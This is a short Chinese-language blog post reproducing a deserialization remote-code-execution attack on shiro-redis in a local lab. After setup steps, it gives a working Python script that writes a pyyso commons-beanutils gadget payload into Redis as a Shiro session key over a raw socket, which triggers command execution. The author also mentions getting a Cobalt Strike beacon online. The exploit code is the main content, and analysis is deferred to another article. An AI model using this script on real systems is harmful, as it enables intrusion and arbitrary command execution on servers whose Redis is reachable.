参考复现:https://xz.aliyun.com/t/11198

环境搭建

1、IDEA 配置 Maven
2、下载项目安装相关依赖:https://github.com/alexxiyang/shiro-redis-spring-boot-tutorial
3、下载Windows Redis 版本(我这里也使用了上述文章同版本):https://github.com/microsoftarchive/redis/releases
4、安装 pyyso 模块(不建议Windows安装,在 kali 就没报错):pip install pyyso
5、修改下配置

  1. shiro-redis.enabled=true
  2. shiro-redis.redis-manager.host=192.168.211.1:6379
  3. shiro-redis.redis-manager.database=0
  4. shiro-redis.redis-manager.timeout=2000
  5. shiro-redis.session-dao.expire=-2
  6. shiro-redis.session-dao.key-prefix=shiro:session:
  7. shiro-redis.cache-manager.expire=1800
  8. shiro-redis.cache-manager.key-prefix=shiro:cache:

去除 ShiroRedisConfig.java 的注释
image.png

  1. # bind 127.0.0.1
  2. bind 0.0.0.0

利用

启动环境,浏览:http://127.0.0.1:8080/ 进行登录,获取Session
image.png
查看 Redis 可以看 Session
image.png

  1. import pyyso
  2. import socket
  3. s=socket.socket()
  4. s.connect(("192.168.211.1",6379))
  5. whatever=b"123"
  6. key=b"shiro:session:"+whatever
  7. value=pyyso.cb1v192("calc")
  8. s.send(b"\x2a\x33\x0d\x0a\x24\x33\x0d\x0aSET\r\n\x24"+str(len(key)).encode()+b"\r\n"+key+b"\r\n\x24"+str(len(value)).encode()+b"\r\n"+value+b"\r\n")
  9. if b"+OK" in s.recv(3):
  10. print("success")

image.png
成功写入 Session
image.png
修改 Session 触发命令执行
image.png
不会免杀,尝试上线一下CS
1.gif
分析?我脚本小子是不会分析的了,请看这里:https://xz.aliyun.com/t/11198